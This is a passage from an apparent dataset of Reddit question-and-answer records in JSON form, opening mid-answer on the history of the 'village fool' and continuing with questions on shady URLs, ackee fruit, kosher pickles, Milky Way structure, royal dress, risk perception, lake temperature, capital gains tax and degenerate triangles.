McMullen concisely sums up the evolution of the character thus:\n\n > The public have always liked to suppose some deeper significance to the fool, apart from his talent for making them laugh or look at themselves askance. He has been made to represent some of their basic assumptions about life. For instance, in the Middle Ages he symbolized the vanity of human pretension, whereas the lord he served represented divine perfection; it was a neat image of the antithesis within man's nature, as they conceived it, sublime and ridiculous together. The twentieth century, which refuses to see any tidy or unified order in life, has made the fool a symbol of meaninglessness, or else an enviable dropout from the pressures of a worried, over-involved and conformist society. \n\nOther characterizations often saw in the so called \"fools\" a romanticism which of course said much more about the observer than the observed, which Trent characterizes thus:\n\n > Added to these humorous and compassionate images of idiocy was a romantic view linking feeble minds with nature and the \u201cbliss of the lower order.\u201d As children of pure nature, feebleminded people were seen as a refreshing contrast to the worldly excesses of an artificial and increasingly mechanized world.\n\nThe reality of course, is a bit sadder. In the early modern period, up through the 19th century - even the 20th in many cases - most towns would have a few people who were considered to be \"natural fools\" or \"feebleminded\" or \"simpletons\". A 17th century definition of this read as follows:\n\n > Idiot is he that is a fool natural from his birth and knows not how to account or number 20 pence, nor cannot name his father or mother, nor of what age himself is, or such like easy and common matters; so that it appears he has no manner of understanding or reason, nor government of himself, what is for his profit or disprofit.\n\nToday these persons would be considered to have an intellectual disability, mental illness, or else to be non-neurotypical (a fairly broad, and diverse category, all in all), and be treated as such, but at that point in time, before modern understanding of these diagnoses, there simply wasn't anything int he way of treatment, and even as the mental asylum came into being in the 19th century, in most towns, it would have been preferred to keep such matters in the community. Even with the rise of the asylum, there was generally seen to be a difference between such persons, considered \"harmless\" and \"innocent\", and the *insane*, who were considered a danger to the community and hence needed to be locked away. \n\nRegardless of desire though, there simply were few institutional options, so the differently abled would simply live at home with their family. If their family couldn't care from them, or passed away, they would often be housed with a neighbor, or perhaps be placed in an alms house, although it of course was in no way specialized to care for them. Little limitations would be placed on them though, and they would generally be allowed to spend their days wandering the town. Those with what today would be considered less serious developmental disabilities could even be somewhat self-sufficient, although they still somewhat ostracized by so-called \"normal\" society, they often took on the life of the vagabond. In more urban areas, some at least might be put into institutions, often sponsored by a parish, where they could take on basic, menial tasks, but they were often treated simply no different than the urban poor who were taken in in similar ways.\n\n*But*, while it thus is very true that many locales would have several people that, at a glance, would fit the idea we hold of the \"village fool\", it was a designation only insofar as they were a person who lived in the town, and in the definitions of the time was a \"fool\" or \"idiot\". It wasn't a job, and although some census records do record it quite literally depending on time and place, this was due not to a reflection of what they *did* in the community, but how they were *seen* in the community, as well as a desire by the government to measure the extend of the \"prevalence of idiocy\", something which would in turn influence developing policies on treatment.\n\nNora Ellen Groce did oral history work in the 1980s, looking at the very tail end of the phenomenon as present in the late 19th and early 20th centuries, in *\"The Town Fool\": An Oral History of a Mentally Retarded Individual in Small Town Society*. Unfortunately it seems to be long out of print, and far to obscure for my library to have digitized, but Trent thankfully provides an insightful, and heartbreaking, summary of one of the subjects of the work, which I would simply quote in full:\n\n > Nora Groce wrote about the reaction of Job\u2019s Harbor, a small Massachusetts coastal town, to Millard Fillmore Hathaway, who lived from 1858 to 1921. From the recollections of the townspeople, Groce reconstructed the attributes of Hathaway that led him to become the \u201ctown fool\u201d of Job\u2019s Harbor. Groce noted that most of the citizens of the town had great affection for Hathaway and maintained a self-imposed limit on the amount and intensity of teasing they forced him to endure, and Hathaway, as Groce pointed out, was quite skilled at getting along. Despite the townsfolk\u2019s affection, he froze to death one winter.\n\nIt is, I think, an incredibly enlightening passage, and helps to illustrate the \"role\" of \"town fool\" insofar as there was one. They were generally liked by the community, but nevertheless used as a target of teasing and ridicule too. The mere fact that there was \"a self-imposed limit\" hardly speaks well of anyone involved in the practice of quite literally tormenting a person they saw as different for their amusement. Returning to the beginning, the very use of the term \"town fool\" or \"village\" idiot goes a long way to normalizing this behavior and presenting it as acceptable, with much ink spilled by historians whether it is right to even speak of such a thing, and whether it signified a degree of understanding of intellectual disability in the period - given the relative freedom allowed and light touch in restraint - or quite the opposite - given the cruelties of taunts and jokes they were subjected to. Further of course, as Andrews notes:\n\n > [T]his characterization says more about the stigmatising by the educated, urban elite of the ill-educated and gauche country bumpkin, than it does about the experiential realities of the mentally disabled.\n\nSince there was of course no particular difference in the prevalence of intellectual disability and non-neurotypicality between the towns and the city, in some regards the term thus says quite little about the *actual* persons in small towns and villages who we might envision when the term comes to mind, and more about general disdain of rural life.\n\nThe sum of it is that the idea of the \"town fool\" is one that is very hard to separate from its literary portrayal, but it really must be, as the vision that we have of their \"role\" was so very unlike the image that is portrayed there. The reality is one of persons whose entire existence was boiled down to their intellectual disability, their mental illness, or their neuroatypicality, and whatever freedoms they may have enjoyed, they often came with a cost too, one of ridicule and ill-treatment for simply who they were. I'd like to say of course that today, they all would enjoy massively better treatment and understanding, but of course hateful words and derision of those who are differently abled is still very much a reality of our world today, so while things are better... they probably still could use improvement.\n\n**Sources**\n\n\nAndrews, Jonathan. \"Identifying and Providing for the Mentally Disabled in Early Modern London\" in *Idiocy to Mental Deficiency: Historical Perspectives on People with Learning Disabilities*, edited by Anne Digby, and David Wright, Routledge, 1996.\n\nMcMullen, G., 1970. \"The Fool as Entertainer and Satirist, on Stage and in the World\". *The Dalhousie Review*.\n\nRushton, Peter. \"Idiocy, the Family and the Community in Early Modern North-East England\"  in *Idiocy to Mental Deficiency: Historical Perspectives on People with Learning Disabilities*, edited by Anne Digby, and David Wright, Routledge, 1996. 65\n\nTrent, James. *Inventing the Feeble Mind: A History of Intellectual Disability in the United States*. Oxford University Press,  2016.\n\nWickham, Parnel. \"Idiocy in Virginia, 1616\u20131860.\" *Bulletin of the History of Medicine* 80, no. 4 (2006): 677-701."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "olvnj", "title": "why do shady websites put numbers in their urls?", "selftext": "You know like _URL_0_ or _URL_1_ or whatever? At first I just assumed it was because the URL they wanted was already taken, but I've seen the same company use different URLs over time. Like they use it for a little while but for some reason they have to move on.\n\nEdit: These were all really great answers so far. Thanks a lot.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/olvnj/eli5_why_do_shady_websites_put_numbers_in_their/", "answers": {"a_id": ["c3iay02", "c3ib7qv", "c3idsr8"], "score": [13, 2, 2], "text": ["There's two reasons usually:\n\n1) They are either referral codes because basically people set up those sites as resellers of whatever product the site pushing.  They have to know who to pay.\n\nor\n\n2) They are for tracking purposes.  Like when you see a commercial and they say \"click here and type PROMOCODE in the box!\", it's so they can track where you saw the commercial so they know where their marketing money is generating customers.", "Since you already know they are shady, they obviously deal with shady stuff. Selling your email address, stealing your username/password, or scripting attacks on your machine. \n\nPretty soon browsers, antivirus softwares etc catch up on these sites and help the user by warning about the impending doom.\n\nThe website owners know this, and cancel their previous domain (_URL_1_) and simply create a new one (_URL_0_). ", "_URL_0_ does it for you!"]}, "title_urls": [], "selftext_urls": ["36cashfromcomputer.com", "54studentloans.edu"], "answers_urls": [[], ["54studentloans.edu", "53studentloans.edu"], ["http://www.shadyurl.com/"]]}
{"q_id": "15o5dg", "title": "How did the ackee fruit evolve?", "selftext": "The Ackee fruit, originally from West Africa, now common throughout the Caribbean, is poisonous if eaten before its ripe. It contains chemicals that will mix with the fruit if you cut it while unripe. If you allow it to ripen, it will open up, exposing the seeds and allow the poisonous chemicals to escape. Local birds have learned to wait for this to happen before eating the fruit. People having observed the birds know to do this as well.\n\nMy question is, how could something evolve to be like this? What evolutionary advantage would it be for the tree to bear fruit that is poisonous until ripe?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15o5dg/how_did_the_ackee_fruit_evolve/", "answers": {"a_id": ["c7o85ho", "c7ob0s9"], "score": [4, 3], "text": ["How did it happen?  Like all evolution, it was a fortuitous accident.\n\nWhat advantage is there?  The fruit is not disturbed until the seeds are ready to be distributed for reproduction.", "You have two sets of questions here. First, how did the Ackee tree evolve to be as complex as it seems? To answer this we need to go back to Africa and compare the ackee tree to the environment and the context to which it evolved. We can then ask questions like:\n\n1. Are the fruits just as poisonous in Africa? \n\n2. What African animals if any eat the fruits of the ackee tree?\n\n3. Are any African animals capable of eating the unripe poisonous fruits or seeds?\n\n4. What is the seed dispersal method of the ackee tree?\n\nIt is hard for me to find answers to these questions without getting into the literature. Now that the ackee tree is in the Americas we can ask about how it has naturalized, or how it has adapted to the local environment (and vice versa). As you say, certain local birds have learned to wait until the fruit is ripe before consuming. Humans are the same, we have learned when it is ok and not ok to eat the fruits. \n\n >  **What evolutionary advantage would it be for the tree to bear fruit that is poisonous until ripe?**\n\nIt prevents animals from consuming the fruit. Fruits are very energy intensive for trees to make, so they often accompany them with toxins, or other deterrents like thorns or bad taste to ward off possible consumers.  However, animals are constantly pushing back evolutionarily speaking and adapting to these deterrents so that they can eat the fruit. This is because fruit are full of nutrients that would usually nourish the seed. But these are great energy packets for those animals which can consume them. So on one side we have plants creating deterrents like thorns, toxins, or alkaloids and on the other side we have animals who evolve to be able to eat the fruit despite the deterrents. They may over time develop the ability to break down the toxins, they may develop hard skin to avoid the thorns, or they may change their behaviour so that they consume the fruit when it is safe to do so (ripe). This is a kind of evolutionary arms race.\n\nIt appears as if there is a trade off for the ackee, it needs the toxin to keep animals from consuming the fruit. But it also needs to expose the seeds so that they can disperse by opening the pod. Once the pod is open the fruit becomes less toxic. \"It has been [hypothesized](_URL_0_) that during fruit maturity hypoglycin A is translocated from the arilli to the seeds of the fruit.\" This makes sense, the toxin is first found in the fleshy part, deterring consumption. As the fruit ripens the toxins enter the seed, effectively making the seeds highly toxic. Now the animals are safe to eat the arilli and the seeds (the important part to reproduction) are protected. \n\nHowever, sometimes trees 'want' their fruits to be eaten. Animals sometimes eat fruit but leave the seeds unharmed as they pass through the digestive system of the animal. The seeds are then deposited away from the parent tree (better dispersal) and they are accompanied by a pile of fertilizing poo. This is just one facet of [seed dispersal by animals](_URL_1_)\n\n**More on the ackee**\n\nI have found out a little more about the toxins: \"The unripened or inedible portions of the fruit contain the toxins hypoglycin A and hypoglycin B. Hypoglycin A is found in both the seeds and the arils, while hypoglycin B is found only in the seeds\". Thus the seeds are always poisonous. The arils, once exposed / ripe become safer to consume."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.scq.ubc.ca/the-ackee-fruit-blighia-sapida-and-its-associated-toxic-effects/", "http://en.wikipedia.org/wiki/Seed_dispersal#Dispersal_by_animals"]]}
{"q_id": "2hdmep", "title": "why are the majority of pickles labeled as kosher, whereas other foods are not?", "selftext": "For example, why aren't all onions also listed as Kosher onions?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2hdmep/eli5_why_are_the_majority_of_pickles_labeled_as/", "answers": {"a_id": ["ckroslr", "ckrot48"], "score": [27, 10], "text": ["A \"kosher\" dill pickle is not necessarily kosher in the sense that it has been prepared in accordance with Jewish dietary law. Rather, it is a pickle made in the traditional manner of Jewish New York City pickle makers, with generous addition of garlic and dill to a natural salt brine.\n", "[Kosher dill pickles](_URL_0_) are a type of pickle that was originally associated with Jewish Delis in NYC.  They're dill pickles with lots of garlic.\n\nThey may or may not actually be kosher, in the sense that they're acceptable food for observant Jews."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Pickled_cucumber#Kosher_dill_.28US.29"]]}
{"q_id": "3atkgf", "title": "AskScience AMA Series: I am tvw and the structure of the Milky Way. Ask Me Anything!", "selftext": "I am a graduate student at the University of Virginia and the National Radio Astronomy Observatory studying the structure of our galaxy, the Milky Way. Specifically, I use some of the largest telescopes in the world (the Green Bank Telescope (WV, USA), the Arecibo Telescope (Puerto Rico), and the Very Large Array (NM, USA)) to study giant clouds of ionized gas surrounding newly-formed stars, known as HII Regions. The locations and physical characteristics of these clouds can probe the morphological structure and variations in the elemental abundances throughout the Galaxy. This research can answer questions like: How many spiral arms does the Milky Way have? Where are the spiral arms? How did the Milky Way form and evolve into what we see today? Is the Sun located in a \"special\" part of the Galaxy? Is the Milky Way unique in any way?\n\nOne of the projects I work on is the HII Region Discovery Survey [(HRDS)](_URL_0_) which used the Green Bank Telescope and Arecibo Telescope to discover hundreds of previous unknown HII Regions in the Milky Way, almost doubling the number of known HII Regions visible in the Northern Hemisphere! This Summer we're going to the Southern Hemisphere to use the Australia Telescope Compact Array to complete our survey by discovering hundreds or thousands more HII Regions in the poorly-explored regions of the Galaxy. Within the next year we may be able to finally produce an complete and accurate map of the Galaxy!\n\nI'll be on around 1 PM EDT (17 UTC) to answer questions.\n\nEDIT: The title should have an \"I study\"!\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3atkgf/askscience_ama_series_i_am_tvw_and_the_structure/", "answers": {"a_id": ["csftqc2", "csfvrbf", "csfx2zp", "csfxi8k", "csg1ynx", "csg2eyp", "csgfhna", "csgl6pq", "csgxcfk", "cshcryd", "cshe7fw"], "score": [11, 7, 4, 5, 6, 4, 2, 2, 2, 2, 2], "text": ["Do we know yet what causes a spiral galaxy to form versus a bar galaxy? Is one part of the other's life cycle? What about elliptical galaxies?  \n\nWhat will happen to a galaxy like the Milky Way as it ages, sans collisions?", "I've read somewhere that some massive extinctions were caused by our solar system's wobbling \"in and out\" of galaxy. Like we were exposed to more cosmic rays and stuff during \"out\" periods... \n\nDoes this hypothesis still hold its ground?", "My view of Milky Way structure comes from the skewed view of electron density models used in part in pulsar timing, obviously incomplete since the galaxy is made up of more than electrons. HII regions are useful inputs to such models because these are regions of higher density, and the distance measurements can also be of great use to us. So, my selfish question is: What's your expected fraction of the number of HII regions you're going to find versus the number that are expected? Additionally, will you be able to probe the far side of the Galaxy with your surveys? I have no idea how easy or hard it is to find an HII region. Thanks!", " >  Is the Milky Way unique in any way? \n\nWell, is it unique concerning the structure? Is it more like a ordinary barred spiral galaxy or does it belong to a rather rare kind of them? Is the milky way gas-rich or gas-poor compared to the avarage spiral galaxie? Is strong star formation going on or is the milky way a sleepy place? Do tidal forces from other galaxies, especially from Andromeda  have a big influence on the milky ways star formation or are they too weak? \n\nThanks for your time. ", "Hi everyone! I'm looking forward to answering your questions. I'll be around for the next few hours, but I'll continue to answer questions whenever I have time.\n\nThanks mods for setting up the post! (even if you got the title wrong =P)\n\nEdit: Thanks for the questions guys. I'm heading out now, but I'll continue to answer questions whenever you post them! Also, I'll be doing an AMA in /r/science on 16 July in case you think of more!", "Are any HII nebulas possible/observed near the center of galaxies? Or are these regions \"cleaned up\" by high gravity objects?\n\nHow good are current computer models regarding HII nebulas (or nebulas in general)?", "Will your work be significantly affected when the JWST is launched? Can you comment on Earth-based vs space-based telescopes as it relates to your research?", "Similar to the picture you linked [here](_URL_0_) about how long would the collision of Andromeda and the Milky way take from beginning to end? Also about how long was it between each of those pictures?\n\nAlso is there a difference in the time it takes between different types of galaxies (a spiral and elliptical vs. spiral spiral or really any combination) to collide from beginning to end?", "Hey, basic and probably obvious question. How come galaxies viewed from millions of light years away seem so vivid through a telescope but from within our own galaxy, it doesn't appear as a big bright smear across the night sky?", "It's a surprise to me that for such an interesting topic, there haven't been many questions!\n\nHow do we know (or is it guesstimate) the form of our galaxy? Intuitively, I would think this is done by looking at other galaxies to see what forms there are, and perhaps mapping the visible stars according to their distance? \n", "Was there any instances in the history of space that we have received some interesting signals from space?"]}, "title_urls": [], "selftext_urls": ["http://go.nrao.edu/hrds"], "answers_urls": [[], [], [], [], [], [], [], ["http://www.sr.bham.ac.uk/~amr/mergers.jpg"], [], [], []]}
{"q_id": "4dsjrk", "title": "Royal women of old had such beautiful and elaborate dresses and gowns and seemed to be dressed to the nines on a daily basis. Did they ever wear the same dress twice? Or did they have new dresses/gowns made for them regularly?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4dsjrk/royal_women_of_old_had_such_beautiful_and/", "answers": {"a_id": ["d1ueoo8"], "score": [10], "text": [" >  Royal women of old had such beautiful and elaborate dresses and gowns and seemed to be dressed to the nines on a daily basis.\n\nI *am* going to get to the main point, but I think it's worth questioning this sentence. From one angle (and this is a statement I've seen come up on this sub more than once), most women \"of old\" dressed formally by our standards, with foundation garments, petticoats, and closely-fitted bodices. From another, what makes it seem that they were dressed to the nines by their standards on a daily basis? Painted portraits are not candid photos; sitters were particular about choosing garments to project a particular image, and in many cases that image was \"wealthy and powerful as all-get-out\". [This portrait](_URL_1_) from 1775 by Jean-Baptiste Gautier Dagoty shows Marie Antoinette in full and formal court dress, draped with royal robes - one of those \"wealthy and powerful\" portraits. Compare that to [this painting](_URL_5_) of her with Louis, welcoming her brother, the Archduke Maximilian Franz in the same year - a modern reading of the clothing puts this as dressed to the nines, but in the context of 18th century aristocratic dress, this is informal.\n\nMarie Antoinette is the archetypal dressed-to-the-nines royal woman, so I'm going to concentrate on her as an example. While she's remembered as an 18th century Imelda Marcos who loved gorgeous frippery, something that caused her a great deal of trouble was that she was very quick to abandon grandeur in her dress. The cutting edge of fashion in the late 1770s and 1780s was simplicity, such as that seen in [redingotes](_URL_4_) and [chemise gowns](_URL_2_). The former was a masculine-styled garment that could be made with solid wool and manly brass buttons or softened with taffeta and satin, but was always on the plain side; the latter was generally made of plain white cotton, unfitted and unadorned. There were also [robes \u00e0 la polonaise](_URL_3_) (looser, looped-up gowns worn with shorter petticoats) and [l\u00e9vites](_URL_0_) (loose gowns held in with a sash). While she was criticized for spending too much (traditionally the complaint lodged against the royal mistress, but without a royal mistress in place ...), she was also criticized for dressing without adequate care for her position. Critics linked the cross-dressing aspect and the loosely-fitted garments to sexual immorality. I should really cede this to /u/kittydentures as she knows more about the chemise gown than anyone else.\n\nI don't believe we know for certain that she did or didn't wear gowns twice. Certainly a very high level of consumption was required for her, as a) her clothes were perks for her servants and would walk out of her rooms, plus b) she needed to dress elaborately at court in order to affirm her status as the head of it, and to encourage spending among the courtiers on domestically-made luxuries. It's very commonly stated that nobody could dress in the same clothes twice at Versailles, but I don't think I've ever actually seen a citation for that. /u/kittydentures?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://mimic-of-modes.blogspot.com/2013/04/galerie-des-modes-35e-cahier-2e-figure.html", "https://en.wikipedia.org/wiki/File:Marie-Antoinette;_koningin_der_Fransen.jpg", "http://mimic-of-modes.blogspot.com/2014/02/cabinet-des-modes-11e-cahier-1ere.html", "http://mimic-of-modes.blogspot.com/2013/04/galerie-des-modes-35e-cahier-1ere-figure.html", "http://mimic-of-modes.blogspot.com/2013/09/galerie-des-modes-53e-cahier-3e-figure.html", "https://en.wikipedia.org/wiki/File:Marie_Antoinette_Adult7.jpg"]]}
{"q_id": "6143kg", "title": "why are people so concerned about terrorists, when things like drunk driving kill more people everyday?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6143kg/eli5_why_are_people_so_concerned_about_terrorists/", "answers": {"a_id": ["dfbjvwj", "dfbm8as", "dfbnjft", "dfbnrv9", "dfbo4gz", "dfbp1q2", "dfbrd4r"], "score": [26, 4, 5, 2, 4, 2, 2], "text": ["People are concerned about easy-to-visualize scenarios. Statistically, the more elaborate the scenario, the less likely it is. Dying in a car crash is more likely than dying in a car crash on first days of winter due to tires slipping and you accidentally ending up on the wrong lane and crashing onto someone.\n\nBut our monkey brains treat latter scenario as more likely precisely because it's easier to imagine.\n\nSimilarly, there are billions of different ways to die, but terrorists doing elaborate attack on you specifically is going to be way more visual, way more easy to imagine, and thus our brains will end up treating it as more likely as well.\n\nAlso, news produce sorta twisted view about this. Because someone dying in their own bathroom because they slipped or whatever is probably not gonna make it into news, you probably can't recall a single time that anyone had died in their bathroom. Major catastrophes, though rare, are discussed around the world on the other hand, so you probably can name terrorist attacks, airplane crashes, dams failing or nuclear reactor catastrophes, and because of this availability, you view those events being more likely than someone dying in their bathroom.\n\nBut there's also pretty solid reason for being concerned about terrorism. While you could kinda ignore it as \"some people die to terrorism\", it's not really fair since terrorist attacks could be targeted to people speaking for or against something. This is sorta how terrorism could be used to advance political goals and what people fear Islamic terrorism might become. That would create climate where anyone speaking against interests of terrorist organization would risk dying, and when they die, people would feel that \"they were asking for it\". That would be really dangerous for us all in a way drunk driving simply can't match.", "Because the news says so. If the news spent 24 hours a day showing the graphic details of every car accident in America, people would be much more up in arms about drunk driving.  The news shows us very little of the world's daily events, but act as if the event they're showing is the only major news that is currently happening.  I place more merit in the absence of certain news rather than what they show. More often than not, what is presented is done so to promote viewership, and subsequently, revenue for advertisers.\n", "People are afraid of things that they feel they cannot control, and they overestimate their ability to control certain situations. For example, [most people think they are superior drivers](_URL_0_) when statistically and logically this is not true. So they underestimate the dangers of driving because of how awesome they imagine they are at it, and overestimate the dangers of things they cannot control - flying, terrorism, street crime, etc.\n\nThere's also the effects of news coverage, which naturally focuses on uncommon situations like terrorism rather than sadly routine dangers like domestic violence, heart disease, and your own example of drunk driving.", "The idea that if you can visualize or \"tell a story\" about a threat makes it more real is a good one. The one that I've heard, and tend to believe, is that we become desensitized to the normal, routine ways to die, and instead fixate on the less likely. \nYou have driven a car hundreds, thousands of times, and you didn't die. Yet. So, your brain sort of turns off the fear, since the activity is normal, even though it's much more likely to kill you. \nFlip side is that you've never been attacked by a shark or a terrorist, or even encountered one most likely, so any situation in which you are likely to encounter one seems dangerous in a way that is completely out of proportion to the actual danger. It's new, it's unknown, it's frightening. ", "Because we talk about it ALL THE TIME. Ever since 9/11 we have talked about it.16 years is a long time it's all over our daily life. It's a normal thing to be worried about. We talk about it way more often than slipping in the shower. \n\nThe TSA makes us think about it when we fly. There are still concerns about organizations like ISIS on our TVs nightly. Around the world we still see reports of organized terrorism of radical muslims here and there. Our family military members are still going to the Middle East. It's pumped up further by geopolitical gobeldygook like if it were up to some percentage of people Sharia law would be real. GASP! \n\nWe blow this up bigger than it is because that's how our media treats these sort of global conflicts. Ever since the Communist threat was televised, we have grippingly held to the story. Be it exaggerated or twisted for ratings, or not. We live in a time of fear. Just like when communist pigs wanted to take over the world, we worry now the Muslim radicals are trying to blow it up. \n\nIt just doesn't matter you could die in a car crash when your neighbors are all talking about the bombing last week in London. \n", "I always thought it was because you have absolutely no control. everything else involves you making some kind of decision with inherent risk like driving a car or flying in a plane but you have zero risk assumed in doing something like going to class at a university or going to work in the world trade center. The complete randomness takes assumed safety out of everything.", "According to security expert [Bruce Schneier](_URL_0_):\n\n\"Our brains aren't very good at probability and risk analysis. We tend to exaggerate spectacular, strange and rare events, and downplay ordinary, familiar and common ones...\"\n\n\"There is a lot of psychological research that tries to explain this, but one of the key findings is this:  People tend to base risk analysis more on stories than on data. Stories engage us...much more...If a friend tells you about getting mugged in a foreign country, that story is more likely to affect how safe you feel traveling to that country than reading a page of abstract crime statistics will.  Novelty plus dread plus a good story equals overreaction.\"\n\n\"And who are the major storytellers these days? Television and the Internet. So when news programs and sites endlessly repeat the story...we start to think this is something to fear, rather than a rare event that almost never happens and isn't worth worrying about. In other words, reading five stories about the same event feels somewhat like five separate events, and that skews our perceptions...\"\n\n\"It's strangers by whom we fear being murdered, kidnapped, raped and assaulted, when it's far more likely that any perpetrator of such offenses is a relative or a friend. We worry about airplane crashes and rampaging shooters instead of automobile crashes and domestic violence -- both of which are far more common and far, far more deadly...\"\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.psychologicalscience.org/news/motr/when-it-comes-to-driving-most-people-think-their-skills-are-above-average.html#.WNQ3waK1uUk"], [], [], [], ["https://www.schneier.com/blog/archives/2012/08/overreaction_an.html"]]}
{"q_id": "zjgu5", "title": "Can you tell the temperature of water by sight?", "selftext": "I'll explain more. Some friends and I were driving past a lake last week, and one of them said, \"That water looks cold!\" and a debate grew over whether or not you can tell if the water was cold or not. Some things were said about changes in clarity and \"stillness\" of the waves, refraction or viscosity, and even the meniscus could tell you if it was cold or not.\n I figured that you could not accurately tell if water was cold (cold being defined as uncomfortable to swim in) by sight as there would be too many factors to throw off those parameters - especially when in a car going 50km/h from 30 meters away.\nIs there some truth to their claims or are they talking out of their asses?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zjgu5/can_you_tell_the_temperature_of_water_by_sight/", "answers": {"a_id": ["c654wca", "c65abxy"], "score": [6, 4], "text": ["The only time I have ever reliably seen the temperature of water is when scuba diving.  Off the coast of South Africa (and other places) there can be a huge [thermocline](_URL_1_) and you can see that the water looks blurry is the best I can describe it.  You can float just above it and dip your hand down into the where it looks blurry and it is much colder.   \n\nOn the other hand, the water in many lakes does [change with the seasons](_URL_0_).  Living in Minnesota,you can tell when summer water changes to fall.  As a lake experiences fall overturn and the temperature is roughly the same from top to bottom, the lake can appear to be clearer.    \nYour friends may be seeing this and/or they are effected by other external perceptions.  If the leaves are changing color, there is a fall smell in the air and the sunlight has that autumn quality, their brain fills in the blanks.  The water looks cold because everything around them tells them it should be cold.  ", "If the challenge is determining whether the SURFACE WATER IN A LAKE is warm or cold at a distance of 30 meters in 30 seconds or less. It should often be possible to make a very educated guess.\n\nOver the course of a year, most lakes undergo a process called [algal succession](_URL_0_). This is a seasonal process dependent on nutrient levels, the amount of available light, and **water temperature**. In the canonical version of this process a person will looking a lake will see:\n\n* Clear water in winter\n* Brown diatom blooms in early spring\n* Green algal blooms in late spring and early summer\n* Blue-green algal blooms in high summer\n* Brown diatoms again in autumn\n\nBrown diatoms thrive in colder water than either color of algae, so the simple test is to see if you spot green or blue-green algae. If you do, the water is probably warm.\n\nThis test is imperfect because:\n\n* Low nutrient levels can also prevent algae growth\n* It takes algae a few days to grow to visible levels or die off to the point of invisibility\n\n*HOWEVER*, these days fertilizer use renders most lakes in the developed world either eutrophic (nutrient rich) or hypertrophic (too nutrient rich) so this trick should usually work.\n\nSurface water temperature is correlated with but not identical to the water temperature at a depth relevant for swimming. Just because you see green or blue-green algae doesn't mean the water is warm to a depth of 2 meters. It makes warmth at depth more likely, but definitely not certain.\n\nTL/DR: If you see blue or blue-green algae on the lake, the surface water is probably warm. If you don't, it is probably cold."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://faculty.gvsu.edu/videticp/stratification.htm", "http://en.wikipedia.org/wiki/Thermocline"], ["http://www.lakeaccess.org/ecology/lakeecologyprim13.html"]]}
{"q_id": "aq6tp3", "title": "why are earnings obtained actively through labor (wages) taxed at a significantly higher rate than earnings obtained passively through investments (capital gains)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aq6tp3/eli5_why_are_earnings_obtained_actively_through/", "answers": {"a_id": ["egdr0or", "egdvwie", "egem3mq"], "score": [29, 3, 3], "text": ["Its to incentivise people to invest money in the economy and leave it there for a while letting it help the economy instead of jsut sitting in big scrooge McDuck bins.  If income and capital gains were taxed at the same rate rich folk would want to invest in compaines that basically gave all thier earnings out as dividends instead of putting that money back into the company growing it.  In our modern day this has lead to some problems as now companies overvalue growth over a sustainable profit but capitalism ain't perfect.", "Capital gains includes some inflation appreciation (a thing worth $1 today will be worth $1.05 in the future simply because the dollar is worth less and the thing kept the same value).  A lower tax rate on capital gains helps to adjust for the portion of the appreciation that's purely the result of inflation.\n\nIt causes problems when people can convert their income into capital gains, for the non-ultra wealthy a great example is someone putting sweat equity into flipping a house.  Their labor is taxed at a lower rate than if they were working as a contractor for others, even doing the same job.  ", "two of the reasons are (1) to reduce lock in: investors generally can choose when to recognize gains, allowing investors to defer tax indefinitely.  A large deferred gain can lead to economic inefficiency because, even if the money can be put to better use in another investment, investors will not sell because the deferral is more valuable than extra return on the better investment.  The lower rate is thought to reduce this effect.  \n\nAnd (2) as a proxy for not inflation-adjusting your returns: A portion of the gain on a capital investment is not actual economic gain because the future dollars are worth less than present day dollars.  So for example, a 10% return on $100 when inflation was 5%, for income tax purposes I have $10 of gain but as an economic matter, I only really have increased my wealth by $5.  In an extreme case, your entire gain (or more) could be economically eaten by inflation.  Presumably inflation adjusting basis is too administratively complex, and so lower long-term capital gain rates are in part a rough justice alternative to inflation adjustment. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4j9fla", "title": "Would a triangle of degrees 0\u00b0, 0\u00b0, and 180\u00b0 (a line by all appearances) still be considered a triangle?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4j9fla/would_a_triangle_of_degrees_0_0_and_180_a_line_by/", "answers": {"a_id": ["d34wq7f", "d354uq5", "d354utv"], "score": [97, 25, 2], "text": ["Yes, it is a [degenerate triangle](_URL_0_). It allows statements like \"Any three points define a unique triangle.\" If this wasn't the cases, we would have to say \"Any three non-colinear points define a unique triangle.\" Lot's of things no longer have to have exceptions if we do this.\n\nAlso, if a degenerate triangle has sides a,b,c with long side a, then we have a=b+c. The Law of Cosines in this case says that a^(2)=b^(2)+c^(2)+2bc =(b+c)^(2), which is consistent with a=b+c.", "I disagree with /u/functor7. While there are some situations where its useful to regard a triangle with angles of 0 as a triangle, generally we require a triangle to have nonzero angles so that our theorems about triangles are more powerful. There's little point to labeling a bunch of things with the same umbrella term unless we can say useful things about everything with that label. If we permit too many things to fall under the term \"triangle\" we lose our ability to say things about all of them at once. For instance, one of the special things about triangles (with nonzero angles) is they each define a unique circle that passes through the triangle's vertices. If we allow triangles to have angles of 0 that longer holds.", "This is also dependent upon the shape of the object that the line is on. if we are going with a flat 2 dimensional space then the discussions of degenerate triangles would be correct. But imagine in a non-Euclidian geometric shape that this straight line could be on and you could theoretically construct a conventional triangle with a straight line. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.stack.imgur.com/oFyTu.png"], [], []]}
